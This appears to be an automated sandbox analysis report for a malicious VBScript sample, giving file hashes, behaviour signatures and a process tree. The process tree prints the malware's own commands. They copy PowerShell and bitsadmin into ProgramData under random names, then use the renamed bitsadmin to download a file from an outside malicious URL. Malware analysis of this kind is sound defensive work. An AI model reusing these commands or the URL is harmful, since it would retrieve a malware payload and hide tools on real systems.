Analysis
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max time kernel
140s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12-08-2024 04:16
Static task
static1
Behavioral task
behavioral1
Sample
8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs
Resource
win7-20240705-en
General
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Target
8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs
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Size
9KB
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MD5
8d480d61c5cf6b2159351ef893b231be
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SHA1
eaf0c1753e9b0da1c6312e05a2e22238625bfe38
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SHA256
6974d7e0bc78fe05635852aabd1f112eea8ba7651f1032d26c4145c30e036e4e
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SHA512
dff09e98af520e2492cc6c610394186f7ceaff8f8c406854318e9eaa22a2104393f7d7a6f1faf7caf4dfc4ec998ba4dbcc7161d4f573147423eb6a46562ad324
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SSDEEP
192:vrE1FzIZvtX4nBzxr6s3khSbI3z0pY/qMkAiKCjHXuqT/nt9BXEWFLFL:vIbgvtX4nBzxr6s3khaIYpY/qmCjHeqV
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 1084 zIHUzOoin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zIHUzOoin.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2928 wrote to memory of 2468 2928 WScript.exe 86 PID 2928 wrote to memory of 2468 2928 WScript.exe 86 PID 2468 wrote to memory of 456 2468 cmd.exe 88 PID 2468 wrote to memory of 456 2468 cmd.exe 88 PID 2468 wrote to memory of 3040 2468 cmd.exe 89 PID 2468 wrote to memory of 3040 2468 cmd.exe 89 PID 2928 wrote to memory of 1084 2928 WScript.exe 90 PID 2928 wrote to memory of 1084 2928 WScript.exe 90 PID 2928 wrote to memory of 1084 2928 WScript.exe 90
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe3⤵PID:456
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe3⤵PID:3040
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C:\ProgramData\zIHUzOoin.exe"C:\ProgramData\zIHUzOoin.exe" /wrap /transfer YEXJvszs https://marthayfabrizio.com/fibra/PSQDNL70C17G999C/first.rtf C:\ProgramData\first.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1084
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a